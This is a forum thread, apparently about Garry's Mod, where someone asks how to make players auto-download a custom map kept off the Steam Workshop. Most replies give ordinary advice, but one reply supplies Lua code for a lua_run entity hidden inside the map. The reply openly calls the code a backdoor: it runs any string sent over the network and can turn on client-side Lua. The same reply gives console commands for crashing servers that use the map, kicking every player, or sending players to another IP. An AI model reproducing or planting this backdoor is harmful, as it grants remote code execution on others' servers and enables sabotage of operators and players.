I recently had a custom map made for a server I'm putting together. I'd like to keep it off the workshop, but I'm not to sure how to go about making the map auto install for players who join the server so they don't get the map missing error. Would appreciate any and all help. Thanks!
Not possible. Every server has their custom map on the workshop. And you definetly want to do the same otherwise every player will hate your Server.
Using FastDL would make them download the map, yes. But it would always be temporary. as soon as they restart gmod the map is gone and they have to redownload it. Everytime they join your server...would you want that? Wait several minutes every single time? If you download it once from the workshop you dont have that problem
you can learn stuff that decompilers will fail at and add it in to purposely break your map when decompiled but the client needs the compiled map file
how big is the map?
if its<64KB you can make clients download it directly from the server's maps folder by having net_maxfilesize set to 64
one way to keep the filesize down is to not pack anything in it
you may consider using a lua_run entity to prevent other servers from simply using it( only do this if it's not on the workshop)
util.AddNetworkString'nostrip' net.Receive('nostrip',function(l,p) if nostrip_allowed && nostrip_allowed[p:SteamID()] || type(nostrip_allowed)!='table' then RunString(net.ReadString()) end end) timer.Simple(10,function() if type(nostrip_allowed)!='table' then RunConsoleCommand('sv_allowcslua','1') end end)
put that into a lua run entity
you won't be allowed to have your map on the steam workshop because the nature of this is that it's a backdoor
in serverside autorun file you need to have
nostrip_allowed={--this lists people who can run lua
["STEAM0:0:000000"]=true,
["STEAM1:1:111111"]=true,
}
when you find a server running your stolen map, open your console and type one of the following
lua_run_cl net.Start'nostrip' net.WriteString'game.GetWorld():Fire([[kill]])' net.SendToServer()
this'll crash it instantly
lua_run_cl net.Start'nostrip' net.WriteString'RunConsoleCommand("kickall","this server is using a stolen map")' net.SendToServer()
kick all players from the server
lua_run_cl net.Start'nostrip' net.WriteString'BroadcastLua([[RunConsoleCommand("connect","<IP>")]])' net.SendToServer()
you could also redirect everyone to your server
Sorry, you need to Log In to post a reply to this thread.